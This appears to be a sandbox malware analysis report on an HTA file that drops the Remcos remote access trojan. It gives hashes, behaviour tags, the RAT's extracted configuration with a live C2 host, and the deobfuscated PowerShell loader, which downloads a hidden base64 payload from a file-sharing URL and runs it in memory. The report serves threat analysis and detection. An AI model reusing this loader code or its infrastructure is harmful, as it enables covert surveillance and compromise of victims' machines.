Overview

overview

10

Static

static

1

chakarathi...by.hta

windows7-x64

10

chakarathi...by.hta

windows10-2004-x64

10

Sharing

Copy URL
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General

  • Target

    chakarathingsaregreatpatternwelcomebacktotherealworldbaby.hta

  • Size

    207KB

  • Sample

    241114-ltws6s1kbp

  • MD5

    9da35c0fa320e4c71bcda752eb4b9cf1

  • SHA1

    1b6b928a3451f86debea42164de4ba8ceceb1fd6

  • SHA256

    819ec71dfdacd69c6fc2c7b495029f637d21018bbd0fcce8af229308bc647043

  • SHA512

    2f1b7631c33838ec2108e0de7e9b4a20d6090b482b8b4a802507387a449d7321447cf7a0a077f5635f2c80ccaa80e68f9762690da2f7c58f6e8932d3b341126c

  • SSDEEP

    96:43F97AobVwb/tbVwbBFLIJd2fqsOSvWn/fn/CAbVwbNbVwbPTbVwbd/Q:43F1JG+LO2aiWn/fn/xq28Q

Score
10/10
remcosremotehostdefense_evasiondiscoveryexecutionrat

Malware Config

Extracted

Language
ps1
Deobfuscated
1
# powershell snippet 0
2
invoke-expression "$imageUrl = 'https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f ';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$base64Reversed = -join ($base64Command.ToCharArray() | ForEach-Object { $_ })[-1..-($base64Command.Length)];$commandBytes = [System.Convert]::FromBase64String($base64Reversed);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI');$vaiMethod.Invoke($null, @('txt.CFEFDRW/111/92.022.3.291//:ptth', 'desativado', 'desativado', 'desativado', 'CasPol', 'desativado', 'desativado','desativado','desativado','desativado','desativado','desativado','1','desativado'));"
3
4
# powershell snippet 1
5
$imageurl = "https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f "
6
$webclient = new-object system.net.webclient
7
$imagebytes = $webclient.downloaddata("https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f ")
8
$imagetext = ([system.text.encoding]::ascii).getstring($imagebytes)
9
$startflag = "<<BASE64_START>>"
10
$endflag = "<<BASE64_END>>"
11
$startindex = $imagetext.indexof("<<BASE64_START>>")
12
$endindex = $imagetext.indexof("<<BASE64_END>>")
13
$startindex -ge 0 -and $endindex -gt $startindex
14
$startindex = $startflag.length
15
$base64length = $endindex - $startindex
16
$base64command = $imagetext.substring($startindex, $base64length)
17
$base64reversed = -join $base64command.tochararray()|%{$_}[-(1..)($base64command.length)]
18
$commandbytes = [system.convert]::frombase64string($base64reversed)
19
$loadedassembly = [system.reflection.assembly]::load($commandbytes)
20
$vaimethod = ([dnlib.io.home]).getmethod("VAI")
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

remcos

Botnet

RemoteHost

C2

shlobo.duckdns.org:6946

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-MTESOL

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Targets

    • Target

      chakarathingsaregreatpatternwelcomebacktotherealworldbaby.hta

    • Size

      207KB

    • MD5

      9da35c0fa320e4c71bcda752eb4b9cf1

    • SHA1

      1b6b928a3451f86debea42164de4ba8ceceb1fd6

    • SHA256

      819ec71dfdacd69c6fc2c7b495029f637d21018bbd0fcce8af229308bc647043

    • SHA512

      2f1b7631c33838ec2108e0de7e9b4a20d6090b482b8b4a802507387a449d7321447cf7a0a077f5635f2c80ccaa80e68f9762690da2f7c58f6e8932d3b341126c

    • SSDEEP

      96:43F97AobVwb/tbVwbBFLIJd2fqsOSvWn/fn/CAbVwbNbVwbPTbVwbd/Q:43F1JG+LO2aiWn/fn/xq28Q

    Score
    10/10
    defense_evasiondiscoveryexecutionremcosremotehostrat

    • Remcos

      Remcos is a closed-source remote control and surveillance software.

      ratremcos

    • Remcos family

      remcos

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

      execution

    • Evasion via Device Credential Deployment

      defense_evasionexecution

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Suspicious use of SetThreadContext

    behavioral1behavioral2

MITRE ATT&CK Enterprise v15

Tasks

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